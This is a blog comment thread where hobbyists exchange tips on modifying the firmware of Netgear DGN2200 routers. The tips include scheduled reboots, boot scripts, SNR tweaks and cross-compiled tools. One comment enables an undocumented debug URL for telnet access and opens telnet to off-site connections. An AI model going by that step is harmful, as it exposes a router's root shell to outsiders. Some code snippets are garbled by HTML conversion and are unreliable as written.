<p>I used it to set my router to reboot everyday and the steps I used are below in case someone else needs it.<br>
Enable debug mode</p>
<p>URL: <a href="http://routerip/setup.cgi?todo=debug" rel="nofollow ugc">http://routerip/setup.cgi?todo=debug</a></p>
<p>On this router it does let you set 192.168.1.1 to respond to telnet otherwise would need to do it local</p>
<p>So setup firewall rules to enable telnet calls from off site</p>
<p>Mount system file to read and write</p>
<p>mount -n -o remount,rw /</p>
<p>change work directory and install tar, gzip and nano</p>
<p>cd /usr/etc</p>
<p>PATH=$PATH:/usr/etc</p>
<p>Will need to download the files on this zip to the router the router has wget installed already.</p>
<p>Probably upload the files to a ftp server and download from there:</p>
<p>the file tar and gzip need to be change to exectubles</p>
<p>chmod a+x tar gzip</p>
<p>tar xfz nano-dgn2200-bin.tar.gz</p>
<p>Create a folder</p>
<p>mkdir opt<br>
cd opt<br>
mkdir toolchains<br>
cd toolchains<br>
mkdir uclibc-crosstools-gcc-4.4.2-1<br>
cd uclibc-crosstools-gcc-4.4.2-1<br>
mkdir share<br>
cd share<br>
mkdir terminfo<br>
cd terminfo<br>
mkdir v<br>
cd v</p>
<p>cp /usr/etc/vt102 /opt/toolchains/uclibc-crosstools-gcc-4.4.2-1/share/terminfo/v/vt102</p>
<p>cd /usr/etc<br>
nano crontab</p>
<p>add the line</p>
<p>0 5 * * * root /sbin/reboot</p>
</blockquote>
<ul>
<li><strong>kapil oberoi on 2013-05-18 07:58:50 +0100</strong></li>
</ul>
<blockquote>
<p>With your inputs, I was finally able to cross-compile nmap for wnr3500lv2.</p>
<p>For copying the nmap generated information, I cross-compiled WPUT successfully. But the problem is that wput is not able to connect to any ftp server and says permission denied. On the ftp server there is no hit/log.</p>
<p>Is it something with the compilation ??? The same command works from the windows and linux system that are connected to the same router.</p>
<p>TY</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-05-20 05:54:39 +0100</strong></li>
</ul>
<blockquote>
<p>Hello,<br>
I checked the code of wput and tried why doesn’t it work. The problem is that some calls return, as it should be being non-blocking, an EINPROGRESS error code but the source is checking for some *hardcoded* values and not for the EINPROGRESS define. This is of course not portable and compiler dependant!<br>
Infact if you check the code in socketlib.c you’ll find:<br>
<code>if(errno &gt; 0 &amp;&amp; errno != 115 &amp;&amp; errno != 36)</code><br>
That is not very polite to use. You should replace it with:<br>
<code>if(errno &gt; 0 &amp;&amp; errno != EINPROGRESS)</code><br>
And then it should work!<br>
Ciao!<br>
f.</p>
</blockquote>
<ul>
<li><strong>kapil oberoi on 2013-05-20 07:20:44 +0100</strong></li>
</ul>
<blockquote>
<p>My God, you are a saviour !!!!!</p>
<p>Thank you very much for your time and efforts.</p>
</blockquote>
<ul>
<li><strong>kapil oberoi on 2013-05-20 11:56:56 +0100</strong></li>
</ul>
<blockquote>
<p>After recompiling WPUT with – if(errno &gt; 0 &amp;&amp; errno != EINPROGRESS), now Im stuck at error – connecting to xxx.xxx.xxx.xxx………. failed. No matter which FTP I specify, the error in displayed instantenously.</p>
</blockquote>
<ul>
<li><strong>ninavillanueva on 2013-05-21 02:29:24 +0100</strong></li>
</ul>
<blockquote>
<p>Very good article! We are linking to this great post on our<br>
website. Keep up the great writing.</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-05-21 07:37:38 +0100</strong></li>
</ul>
<blockquote>
<p>Hello!<br>
That is strange mmm… Are you sure there aren’t on that router some limitations to outgoing connection from the router itself?<br>
You could try for example with another client (for example curl that is on the article to download) to see if that works. Or eventually, more technical solution, try to run WPUT with strace (also on the page above) so you see what call fails (I debugged the EINPROGRESS problem like this indeed). As for DGN2220v3 I tried WPUT on one single FTP upload and it worked. In case here is the dgn2200 version compiled <a href="http://www.evolware.org/dnload/dgn2200n/wput-0.6.1-dgn2200-bin.tar.gz" rel="nofollow">wput-0.6.1-dgn2200-bin.tar.gz</a>.<br>
Ciao<br>
F</p>
</blockquote>
<ul>
<li><strong>kapil oberoi on 2013-05-22 06:07:33 +0100</strong></li>
</ul>
<blockquote>
<p>Hello,</p>
<p>I did compiled the curl and it works perfectly fine. It seems that the issue is with wput.</p>
<p>Thanks again for your help..</p>
</blockquote>
<ul>
<li><strong>Kapil Oberoi on 2013-06-04 13:27:25 +0100</strong></li>
</ul>
<blockquote>
<p>Which application can check the amount traffic on WAN / LAN interface of netgear’s WNR3500lv2 like SHIBBY’s TOMATO “Realtime bandwidth monitoring of LAN clients” option ? We use OFW.</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-06-04 13:34:17 +0100</strong></li>
</ul>
<blockquote>
<p>Hi!<br>
From the “low level” point of view you can use iptables accounting rules to “count” the traffic using whatever rule you prefeer (by interface, ip, port, whatever).<br>
From the graphical side I don’t have a suggestion for you but I guess there are eventually many options if you give Google a try 🙂<br>
Ciao!</p>
</blockquote>
<ul>
<li><strong>JCM on 2013-06-10 10:56:43 +0100</strong></li>
</ul>
<blockquote>
<p>I have been following this topic and it helped me alot with my wnr3550 official firmware.</p>
<p>I created a script that continuously pings an address and then uploads the results to a FTP location. However, after router reset the scripts is rendered useless as the CRONTAB entry is removed.</p>
<p>I noticed that the default entry is created (firmware update entry) automatically. Can I somehow ensure that when the router is set to default/reset, my entry is also created automatically like the default one??? Do I have to make this change in a file in the actual firmware source code ??</p>
<p>Any help shall be appreciated !!</p>
</blockquote>
<ul>
<li><strong>Hemant Kapoor on 2013-06-10 17:31:43 +0100</strong></li>
</ul>
<blockquote>
<p>Very valuable info (could not find this anywhere on the net, thanks for that). Now if you can help me with one more thing. I want to permanently disable AnnexM. I can disable it through DMT Tool but it turns on after reboot. “adslctl profile –save” gives adslctl profile –save<br>
adslctl –save is only supported from Linux404 on ward</p>
<h1 id="heading"></h1>
<h1 id="heading-1"></h1>
<p>Would be nice if you could help me with this. Thanks in advance.</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-06-11 05:26:20 +0100</strong></li>
</ul>
<blockquote>
<p>Hello!<br>
In the DGN2200V3 firmware the crontab file is regenerated by the /etc/rc_apps binary which is closed source and therefore cannot be modified. But a very easy solution is that you add a few lines of shell that gets automatically executed at boot to add your lines.</p>
<p>On the DGN you do this by:</p>
<ol>
<li>Add in the /usr/etc/rcS file (since /etc/rcS is just a live copy) at the end a call like “/etc/rc_custom &amp;”. This will execute rc_custom</li>
<li>Create a shell script “/usr/etc/rc_custom” in which you execute what you do manually, for example:<br>
<code>&lt;br /&gt; #!/bin/sh&lt;br /&gt; sleep 30&lt;br /&gt; echo &quot;10 * * * * root /usr/bin/myoperation&quot; &gt;&gt; /usr/etc/crontab</code></li>
</ol>
<p>The script just waits for 30 seconds (so you’re sure the system booted up totally) and then just appends the line to the crontab.<br>
3) Make the script executble (chmod a+x /usr/etc/rc_custom)</p>
<p>Upon next reboot you should have your operation automatically added.</p>
<p>Otherwise on the DGN another solution (see some comments up) is to add your actions to the file /usr/etc/wifi_crontabs. This file has the classic crontab format and just gets appended after the other ones!</p>
<p>Ciao!</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-06-11 05:28:15 +0100</strong></li>
</ul>
<blockquote>
<p>Hello!<br>
An easy solution is that you add a few lines of shell that gets automatically executed at boot to add your lines.</p>
<p>On the DGN you do this by:</p>
<ol>
<li>Add in the /usr/etc/rcS file (since /etc/rcS is just a live copy) at the end a call like “/etc/rc_custom &amp;”. This will execute rc_custom</li>
<li>Create a shell script “/usr/etc/rc_custom” in which you execute what you do manually, for example:</li>
</ol>
<p>#!/bin/sh<br>
sleep 30<br>
adslctl ……….</p>
<p>The script just waits for 30 seconds (so you’re sure the system booted up totally) and then executes your commands<br>
3) Make the script executble (chmod a+x /usr/etc/rc_custom)</p>
<p>Upon next reboot you should have your operation automatically added.</p>
<p>Ciao!</p>
</blockquote>
<ul>
<li><strong>claire_rawlings on 2013-06-11 15:53:50 +0100</strong></li>
</ul>
<blockquote>
<p>Awesome post.</p>
</blockquote>
<ul>
<li><strong>Deon on 2013-06-26 09:47:29 +0100</strong></li>
</ul>
<blockquote>
<p>Hi, we use the DGN2200V3 as a wireless router only. The router is working fine but we experience the following problem: the users/laptops can connect immediately to the router with limited access, ie no network/internet access BUT then it takes up to 5 minutes to get access to the network/internet? Any setting which we can change in order for “immediate” network/internet access? The LED’s are also net blinking but I notice the solution in the blog. We have another 2 Netgear wireless routers on the network and they are working fine…Thanks for your assistance…</p>
</blockquote>
<ul>
<li><strong>DonKy on 2013-06-29 18:34:51 +0100</strong></li>
</ul>
<blockquote>
<p>Hi folks!!<br>
This is the great article for dgn2200 on the net!!!</p>
<p>I understand many things from here but….how i can add a new service for DDNS?<br>
I would like to add OVH that is my domain, with the service DDNS.</p>
<p>Can some one help me?<br>
Thanks in advance!!!</p>
</blockquote>
<ul>
<li><strong>anthonyno on 2013-07-02 08:43:41 +0100</strong></li>
</ul>
<blockquote>
<p>“considering also that there is no default editor on the system”<br>
Firmware Version 1.1.00.21 (North America) : vi is perfectly working 🙂<br>
To change SNR I used<br>
#!/bin/sh<br>
# 30 seconds are not enough for adslctl …<br>
/bin/sleep 60<br>
/bin/adslctl start –snr …</p>
<p>Bye</p>
<p>anthonyno</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-07-06 09:53:56 +0100</strong></li>
</ul>
<blockquote>
<p>Hello!<br>
I’m not practical with OVH but as far as I can see for example <a href="https://dev.openwrt.org/ticket/7340" rel="nofollow">here</a> you could just use wget (already inside the firmware) or curl (in the download section) to call the URL that is formed as by the link, namely:</p>
<p><code>http://[USERNAME]:[PASSWORD]@www.ovh.com/nic/update?system=dyndns&amp;hostname=[DOMAIN]&amp;myip=[IP]</code></p>
<p>To update the DDNS info. You can put this in the rcS script executed at startup or for example in the cron list to make it executed every fixed time (check in the previous comments for how to schedule an operation with cron by using for example the wireless schedule file).</p>
<p>Ciao!</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-07-06 09:55:51 +0100</strong></li>
</ul>
<blockquote>
<p>Hello!<br>
This sounds quite strange sincerely. Given the timeouts I would investigate if there is some DHCP problems (if you are using DHCP on the routers try using fixed IPs as a test) or maybe some DNS troubles (again try putting some fixed external DNS services such as OpenDNS in some test PC).</p>
<p>Ciao!<br>
f.</p>
</blockquote>
<ul>
<li><strong>Basil Brooks on 2013-07-08 10:31:55 +0100</strong></li>
</ul>
<blockquote>
<p>Wow…</p>
<p>Thanks so much I used this to fix the SNR or my DGN2200v3. With the default setting I only get around 1Mb download but when I set it with “adslctl configure –snr 50” I get 2Mb which is the max on this line.</p>
<p>So I used your code to do this every boot. (I used to use unix years ago so it was somewhat familiar).</p>
<p>I found I needed to sleep for 60 secs to make it work.</p>
<p>So this did the trick:</p>
<p><code>&lt;br /&gt; mount -n -o remount,rw /&lt;br /&gt; cd /usr/etc&lt;br /&gt; echo &quot;/etc/rc.snr &amp;&quot; &gt;&gt; rcS&lt;br /&gt; echo &quot;#!/bin/sh&quot; &gt; /usr/etc/rc.snr&lt;br /&gt; echo &quot;/bin/sleep 60&quot; &gt;&gt; /usr/etc/rc.snr&lt;br /&gt; echo &quot;/usr/bin/adslctl configure --snr 50&quot; &gt;&gt; /usr/etc/rc.snr&lt;br /&gt; chmod a+x /usr/etc/rc.snr&lt;br /&gt; </code></p>
<p>Fantastic!! Thanks again for sharing this info!!</p>
<p>Basil</p>
</blockquote>
<ul>
<li><strong>Basil Brooks on 2013-07-08 10:34:43 +0100</strong></li>
</ul>
<blockquote>
<p>ha ha just saw the post above, wasn’t there last time I looked, seems like it fixed for that guy as well…</p>
</blockquote>
<ul>
<li><strong>Alvin Lambert on 2013-08-01 07:14:01 +0100</strong></li>
</ul>
<blockquote>
<p>Hi, nice article. I really like it!</p>
</blockquote>
<ul>
<li><strong>Prakash on 2013-08-17 04:47:21 +0100</strong></li>
</ul>
<blockquote>
<p>Good Post. Learnt a lot about DGN2200v3 thru this. Thanks a lot.</p>
<p>A little contribution from my side. Modify the line which contains “/bin/echo 0300 &gt; /proc/led” in /usr/etc/rcS to enable internet LED blinking.</p>
<p>I modified to below code for my taste.</p>
<p>“/bin/echo 0301 &gt; /proc/led”</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-08-18 06:44:26 +0100</strong></li>
</ul>
<blockquote>
<p>Thanks for the hint, very interesting trick! 🙂</p>
<p>Ciao!<br>
F.</p>
</blockquote>
<ul>
<li><strong>Prakash on 2013-08-23 08:08:43 +0100</strong></li>
</ul>
<blockquote>
<p>Hi Federico</p>
<p>Just a thought can the usbserial module enable support for 3G Dongle/Modems similar to DGN2200M on DGN2200v3?</p>
<p>Regds</p>
<p>PP</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-08-23 09:22:21 +0100</strong></li>
</ul>
<blockquote>
<p>Hello!<br>
It really depends on the 3G dongle/modem. If the modem is seen as a usb serial device then (adding the specific chipset module near) absolutely yes! Otherwise often you find such dongles using the USB ACM module or with other modules.</p>
<p>But definitely: I don’t see any reason why by just adding the correct module(s) you could absolutely turn the DGN2200 to the M version with just a few software tricks 😉</p>
<p>If you have any 3G dongle under your hand for a test (I don’t actually have any) it would be great to know, I can eventually compile some additional modules for you if you need so.</p>
<p>Ciao!<br>
F.</p>
</blockquote>
<ul>
<li><strong>Prakash on 2013-08-24 08:14:12 +0100</strong></li>
</ul>
<blockquote>
<p>Thanks a Federico. I do have a Huawei EC150 Dongle supplied by Reliance here. I could see it detecting the Storage part of it but not the modem. I think it didnt switch to modem mode ( from what I got from google ). Below is the dmesg output.</p>
<p>usb 2-1: new full speed USB device using ohci_hcd and address 2<br>
usb 2-1: configuration #1 chosen from 1 choice<br>
scsi1 : SCSI emulation for USB Mass Storage devices<br>
usb-storage: device found at 2<br>
usb-storage: waiting for device to settle before scanning<br>
nas1: no IPv6 routers present<br>
scsi 1:0:0:0: CD-ROM HUAWEI Mass Storage 2.31 PQ: 0 ANSI: 0<br>
usb-storage: device scan complete<br>
.<br>
.<br>
.<br>
usbcore: registered new interface driver usbserial<br>
usbserial: USB Serial Driver core</p>
<p>BTW is rtorrent working on 1.0.0.23? I am getting “Error opening terminal: vt102” error.</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-08-30 09:49:55 +0100</strong></li>
</ul>
<blockquote>
<p>For rtorrent: make sure that the vt102 terminal file definition is on the device. The file must be in /opt/toolchains/uclibc-crosstools-gcc-4.4.2-1/share/terminfo/v/ directory. You can find the file in the “nano” package for example (it is used by termcap)</p>
<p>I’ll give a look the the 3G dongle ASAP and let you know! (sorry but I’ve been very busy this days)</p>
<p>F.</p>
</blockquote>
<ul>
<li><strong>Prakash on 2013-09-03 15:07:19 +0100</strong></li>
</ul>
<blockquote>
<p>Thanks for the response Federco. I just installed amod 1.0.16 and configured transmission and its working fine now. Will leave vt102 for sometime now though I could see a file present in /usr/share/terminfo/v.</p>
<p>Will await your reply for the 3G dongle driver.</p>
</blockquote>
<ul>
<li><strong>Prakash on 2013-09-04 14:04:53 +0100</strong></li>
</ul>
<blockquote>
<p>Hi Federico … Can you help in compiling SQUID or equivalent Proxy Caching package for DGN2200?</p>
</blockquote>
<ul>
<li><strong>Stuart Marsden on 2013-09-05 11:21:58 +0100</strong></li>
</ul>
<blockquote>
<p>Hi Federico,</p>
<p>Thanks for all your work on this router. I got my ext external drive working nicely on my router and shared with samba (see my posts from a few months ago).</p>
<p>I want to be able to back files up to a shared server but my protocol options are limited. Rsync would be great but is not supported by the remote server so I need ftp. I have discovered that lftp <a href="http://lftp.yar.ru/" rel="nofollow ugc"><a href="http://lftp.yar.ru/">http://lftp.yar.ru/</a></a> has a mode called mirror which works a bit like rsync over ftp.</p>
<p>Is it possible that you could compile lftp for our router.</p>
<p>Many thanks,</p>
<p>Stuart Marsden</p>
</blockquote>
<ul>
<li><strong>Bennie on 2013-09-06 11:49:56 +0100</strong></li>
</ul>
<blockquote>
<p>Hello Federico!<br>
We have a DGN2200 router and want to use it as a print server. However I was disappointed to find out that it doesn’t support that option. I thought of buying a LAN to USB print server, but then I encountered this article and fount out it’s possible to set up a print daemon!<br>
However I am not very familiar with linux commands and functions. Is there an easy “how to” to install the print daemon to someone who isn’t used to linux commands?</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-09-06 21:06:21 +0100</strong></li>
</ul>
<blockquote>
<p>Hello Stuart,<br>
I’m happy you’re using happily your router and still tweaking it 🙂</p>
<p>For lftp here it is! I did a few tests but not with mirror mode but hope it works (has also zlib and ssl compiled in): <a href="http://www.evolware.org/dnload/dgn2200n/lftp-4.4.9-dgn2200-bin.tar.gz" rel="nofollow">lftp-4.4.9-dgn2200-bin.tar.gz</a></p>
<p>In the .tar.gz you’ll find the lftp binary and two libraries that are needed for it to run. Either copy them in /lib so the system will see them automatically otherwise just put them someplace and then use the LD_LIBRARY_PATH variable.</p>
<p>For example if you just put all the files together in some directory run it then with:</p>
<p>`# LD_LIBRARY_PATH=. ./lftp &ndash;version<br />
LFTP | Version 4.4.9 | Copyright (c) 1996-2013 Alexander V. Lukyanov</p></p>
<p>LFTP is free software: you can redistribute it and/or modify<br />
it under the terms of the GNU General Public License as published by<br />
the Free Software Foundation, either version 3 of the License, or<br />
(at your option) any later version.<br />
...<br />
` 
<p>Hope it works fine for your needs, let me know!</p>
<p>Ciao,<br>
Federico</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-09-06 21:40:03 +0100</strong></li>
</ul>
<blockquote>
<p>Hello there!<br>
Well Squid is a great proxy but I wouldn’t suggest it really for the DGN2200 since it’s really too resource hungry if you really don’t need some specific feature of it (of it zillions of features 🙂 ).</p>
<p>As a lightweight and essential alternative I’d suggest polipo which is often also associated with TOR for example. You can find more informations about it on <a href="http://www.pps.univ-paris-diderot.fr/~jch/software/polipo/" rel="nofollow">polipo homepage</a> and here comes also the latest version crosscompiled for the DGN2200: <a href="http://www.evolware.org/dnload/dgn2200n/polipo-1.0.4.1-dgn2200-bin.tar.gz" rel="nofollow">polipo-1.0.4.1-dgn2200-bin.tar.gz</a> (I did a few fast tests right now and it looks fine). You can find example configuration files online by searching polipo.conf.</p>
<p>Ciao!</p>
</blockquote>
<ul>
<li><strong>Prakash on 2013-09-07 10:14:54 +0100</strong></li>
</ul>
<blockquote>
<p>Thanks again. Works like a charm :). I have created config file under /usr/etc/polipo/, which is the default location. Below is a small script which is called at every boot to do a house keeping on the files once every 7 days or later.</p>
<p>``</p></p>
<p>#!/bin/sh</p>
<p>LASTRUNFILE="/mnt/shares/U/polipo/lastrun"<br />
today=`date +%Y%m%d`</p>
<p> if [ -f $LASTRUNFILE ]<br />
        then<br />
                lastrun=`cat $LASTRUNFILE`<br />
                daysrun=`expr $today - $lastrun`<br />
                if [ $daysrun -gt 7 ]<br />
                then<br />
                        pid=`ps | grep polipo | grep config | awk '{print $1}'`<br />
                        kill -USR1 $pid<br />
                        sleep 1<br />
                        /sbin/polipo -x<br />
                        kill -USR2 $pid<br />
                        echo $today > $LASTRUNFILE<br />
                fi<br />
        else<br />
                echo $today > $LASTRUNFILE<br />
        fi</p>
<p>``
</blockquote>
<ul>
<li><strong>Stuart Marsden on 2013-09-07 11:27:31 +0100</strong></li>
</ul>
<blockquote>
<p>Federico,</p>
<p>Thank you so much for doing that so quickly. I will have a go with it in the next few days and let you know how it works.</p>
<p>Stuart</p>
</blockquote>
<ul>
<li><strong>Stuart Marsden on 2013-09-08 11:30:56 +0100</strong></li>
</ul>
<blockquote>
<p>Only done a short test with mirror on lftp but seems to work fine. I will now look at how I set up a cron job to do a backup of my attached hard drive in the middle of the night.</p>
<p>Copied lftp to /bin and the libs to /lib and it works great. How do I know how much room I have left on / as df does not seem to be available?</p>
<p>Many thanks,</p>
<p>Stuart</p>
</blockquote>
<ul>
<li><strong>Stuart Marsden on 2013-09-08 11:38:04 +0100</strong></li>
</ul>
<blockquote>
<p>Must have been in lftp shell when I tried df as it is on the router. I seem to have about 6MB still to use.</p>
</blockquote>
<ul>
<li><strong>Hamid on 2013-09-24 03:10:33 +0100</strong></li>
</ul>
<blockquote>
<p>Hi Federico,</p>
<p>I really love this post, it has kept me busy for 2 month playing<br>
with my router which I really enjoying it.</p>
<p>Got a question for you, hoping you might be able to help me.<br>
I was trying to get the openvpn working on my router. I actually have done it<br>
on another machine (Ubuntu) with port forwarding and it works with no issues.</p>
<p>With the DGN2200 itself, so far, I could connect to it from a windows machine<br>
and linux machine, got the Sequence Completed message. But cannot ping anything,<br>
not the server (private ip and local) not any others behind the firewall.</p>
<p>I tried every single iptables rules, but still no success.</p>
<p>Please let me know what I am missing.</p>
<p>Cheers<br>
Hamid</p>
</blockquote>
<ul>
<li><strong>Roberto Fasiani on 2013-09-27 21:32:06 +0100</strong></li>
</ul>
<blockquote>
<p>Hi Federico,<br>
do you think it’s feasible to compile some small sip server and fit it into the dgn2200v3? the idea is to use it to control an ATA like the grandstream ht503 or cisco spa3102 without having to reply on external sip services or having to buy a fritzbox…<br>
grazie<br>
Roberto</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-09-30 06:09:56 +0100</strong></li>
</ul>
<blockquote>
<p>Hello Hamid!<br>
Setting up iptables for OpenVPN is a bit “personal” since it depends really on the configuration you’re trying to setup and your network in general.</p>
<p>This being said the most important thing to say is to remember that you have to work on the <em>tap0</em> interface since that one is used for the vpn tunnel.</p>
<p>As a starter that may help you at least in the very first step and first pings I’d suggest:</p>
<p><code>iptables -A INBOUND_FILTER_1 -i tap0 -s 0/0 -d 0/0 -j ACCEPT&lt;br /&gt; iptables -A LOCAL -i tap0 -s 0/0 -d 0/0 -j ACCEPT&lt;br /&gt; </code></p>
<p>This should help at least to access the VPN on the server itself. Then to access other host behind it you should work on the forwarding rules (and watch out that also the machines themselves need to have proper routing setup to send the packets on the router IP).</p>
<p>ciao!<br>
F.</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-09-30 06:12:46 +0100</strong></li>
</ul>
<blockquote>
<p>Ciao Roberto!<br>
I’m sincerely no expert (not even beginner I’d say! 🙂 ) of SIP. But the idea sounds very interesting to me so if you tell me which sip server could be a good candidate for the job (keep in mind that it has to be quite slim since the resources on the DGN are limited) I can try to give a look on the crosscompilation part when I have some spare time and if the crosscompilation is successfull I’ll let you do the full testing of it!<br>
Let me know!</p>
<p>Ciao!<br>
F.</p>
</blockquote>
<ul>
<li><strong>Hamid on 2013-10-01 08:05:09 +0100</strong></li>
</ul>
<blockquote>
<p>Thanks Federico,</p>
<p>This actually worked and now I can see the private ip of the server.<br>
But I still cannot ping the local ip of the router therefore no other<br>
machine in the local network.</p>
<p>Basically, all I want is to connect to my local network after vpn connection.</p>
<p>Anyway, I will dig more to see if I can make this work.</p>
<p>Thanks a lot for your help.</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-10-01 08:25:40 +0100</strong></li>
</ul>
<blockquote>
<p>Hello Hamid,<br>
In this case the first thing you should look for is to push a route with openvpn. Try to search “openvpn push route” on your favourite search engine. This way you “publish” a network route on the other side of the link and therefore the other side should know where to send the packets to. Then you should poke iptables with some FORWARD rule.</p>
<p>I gave a fast look around and found this link that may be interesting to you since I think it describes the case you’re trying to reproduce <a href="https://community.openvpn.net/openvpn/wiki/BridgingAndRouting" rel="nofollow"><a href="https://community.openvpn.net/openvpn/wiki/BridgingAndRouting">https://community.openvpn.net/openvpn/wiki/BridgingAndRouting</a></a></p>
<p>Let me know! 😉</p>
<p>Ciao!<br>
F.</p>
</blockquote>
<ul>
<li><strong>Roberto Fasiani on 2013-10-01 22:34:28 +0100</strong></li>
</ul>
<blockquote>
<p>I am not an expert either. I’ll play with some linux sip proxies (e.g. resiprocate) but of course it needs to fit in the little space left on my DGN2200v3 (less than 9Mb)… will come back here as soon as I have a good candidate, thanks!</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-10-02 06:56:00 +0100</strong></li>
</ul>
<blockquote>
<p>Ciao Roberto!<br>
I gave a look to resiprocate and it doesn’t seem like a viable solution since it looks quite heavy (starting by the fact that it’s written in C++). After a little bit of research I saw <a href="http://www.kamailio.org/w/" rel="nofollow">Kamailio</a> which has been used on other embedded devices it seems (check <a href="http://www.kamailio.org/dokuwiki/doku.php/download:embedded" rel="nofollow">here</a>). Does it look like a good candidate to you?<br>
When I have time I’ll in the meantime download the source and try to give it a compilation 😉</p>
<p>Ciao!</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-10-03 15:28:04 +0100</strong></li>
</ul>
<blockquote>
<p>Hello Roberto,<br>
I had a little spare time and here come Kamailio in the SER flavour (should be lighter) compiled if you have time to test it. I saw that it starts and seem to work but I don’t have much experience to make a decent test sincerely. Here it is (in the whole source tree so you have all the references): <a href="http://www.evolware.org/dnload/dgn2200n/kamailio-4.0.3-dgn2200bins.tar.gz" rel="nofollow">kamailio-4.0.3-dgn2200bins.tar.gz</a></p>
<p>Ciao!</p>
</blockquote>
<ul>
<li><strong>Hamid on 2013-10-10 00:47:19 +0100</strong></li>
</ul>
<blockquote>
<p>Hi Federico,</p>
<p>Thanks again for your kind reply and sorry for the relay in getting back to you.</p>
<p>Was terribly busy these days, finally got a chance<br>
to try those routing rules but still no success.</p>
<p>I also tried tcpdump, and I can see the ICMP packets coming to the router but getting no reply.</p>
</blockquote>
<ul>
<li><strong>Raj on 2013-11-14 05:43:30 +0100</strong></li>
</ul>
<blockquote>
<p>Stuart/Federico</p>
<p>I cannot get tar to work based on the instructions you have provided regarding getting tar &amp; gzip to work in my netgear DGN2200v3 adsl router. What am i doing wrong? please advice. Thanks</p>
<p>`<br /></p>
<h1 id="pwdbr-">pwd<br /></h1>
<p>/<br /></p>
<h1 id="ls--ltr-tarbr-">ls -ltr <em>tar</em><br /></h1>
<p>-rwxr-xr-x    1 root     root       475980 Nov 13 20:03 tar<br /></p>
<h1 id="ls--ltr-gzipbr-">ls -ltr <em>gzip</em><br /></h1>
<p>-rwxr-xr-x    1 root     root       123760 Nov 13 20:03 gzip<br /></p>
<h1 id="echo-pathbr-">echo $PATH<br /></h1>
<p>/sbin:/usr/sbin:/bin:/usr/bin<br /></p>
<h1 id="echo-pathgzipsd12br-">echo $PATH:/gzip/sd12<br /></h1>
<p>/sbin:/usr/sbin:/bin:/usr/bin:/gzip/sd12<br /></p>
<h1 id="echo-pathtarsd12br-">echo $PATH:/tar/sd12<br /></h1>
<p>/sbin:/usr/sbin:/bin:/usr/bin:/tar/sd12<br /></p>
<h1 id="cd-sd12br-">cd sd12<br /></h1>
<h1 id="ls--ltrbr-">ls -ltr<br /></h1>
<p>-rw-r&ndash;r&ndash;    1 root     root       190128 Nov 13 20:38 nano-dgn2200-bin.tar.gz<br /></p>
<h1 id="tar-xfz-nano-dgn2200-bintargzbr-">tar xfz nano-dgn2200-bin.tar.gz<br /></h1>
<p>-sh: tar: not found<br />
`</p>
</blockquote>
<ul>
<li><strong>Federico Pellegrin on 2013-11-14 06:32:52 +0100</strong></li>
</ul>
<blockquote>
<p>Raj:</p>
<p>You should just put the *directory* in the path and you have to use “export” to set a variable not “echo”.</p>
<p>Therefore if you put everything in “/” just use:</p>
<p>`<br /></p>
<h1 id="export-pathpathbr-">export PATH=$PATH:/<br /></h1>
<p>`</p>
<p>Ciao!</p>
</blockquote>
<ul>
<li><strong>Roberto Fasiani on 2013-11-15 21:09:53 +0100</strong></li>
</ul>
<blockquote>
<p>Hi Federico,<br>
thanks for compiling kamailio, unfortunately I had to abandon the project, it was getting too expensive (a good ATA was needed).<br>
Lately I set up the DGN with ssh and rsync following your suggestions but came across another strange behaviour, or maybe not. When I add the iptables rules to reach port 22 from outside, using a dyndns service, they last for a few hours, then suddendly they disappear. I guess that that happens when Telecom Italia forces the router to disconnect and reconnect with a different IP. I guess that the DGN calls “rc_apps” which rebuilds from scratch all iptables chains wasting any change. I am not sure where I could put a script to re-add my ssh rules. Have you got a clue?</p>
</blockquote>
<ul>
<li><strong>Guido Pietrella on 2013-11-20 00:26:30 +0100</strong></li>
</ul>
<blockquote>
<p>Ciao Federico,</p>
<p>thanks for your post, I’ve followed it to make little improvements to my router… Everything was working fine, until I update the router firmware…</p>
<p>Now it seems my modification script is not run after reboot, even though the correct line is at the end of the /usr/etc/rcS file.. If I manually run the script (by copying and pasting the same line in the rcS file), it works!</p>
<p>Would you please take a look at my configuration and check if you see any mistake?</p>
<p>Here is my modification file:</p>
<p>`<br /></p>
<h1 id="ls--la-usretcguidomodrcbr-">ls -la /usr/etc/GuidoMod.rc<br /></h1>
<p>-rwxr-xr-x    1 root     root          123 Jul 25 16:38 /usr/etc/GuidoMod.rc</p></p>
<p># cat /usr/etc/GuidoMod.rc<br />
#!/bin/sh<br />
/bin/sleep 20<br />
/usr/bin/wl ledbh 3 7<br />
/usr/bin/wl -a wl0 txpwr 160<br />
/bin/sleep 10<br />
/usr/bin/adslctl start --snr 25<br />
` 
<p>And here are the last lines of my rcS file:<br>
`<br /></p>
<h1 id="tail-usretcrcsp">tail /usr/etc/rcS</p></h1>
<p>#/bin/sleep 60<br />
#/sbin/insmod /lib/modules/GPL_NetUSB.ko<br />
#/sbin/insmod /lib/modules/NetUSB.ko</p>
<p>/bin/ps<br />
#/bin/sleep 15<br />
#/usr/sbin/rc check_fw start<br />
/etc/GuidoMod.rc &<br />
` 
<p>It seems to me that everything is correct… Is there anything missing?</p>
<p>Thanks in advance for your help,<br>
Guido. 🙂</p>
</blockquote>
<ul>
<li><strong>Michele on 2013-12-15 20:55:50 +0100</strong></li>
</ul>
<blockquote>
<p>Nice guide<br>
I’m search to follow guide to do PAT on my Netgear D6200<br>
doing it with iptables but I’m not very lucky ..</p>
</blockquote>
<ul>
<li><strong>Roberto Fasiani on 2013-12-23 18:07:45 +0100</strong></li>
</ul>
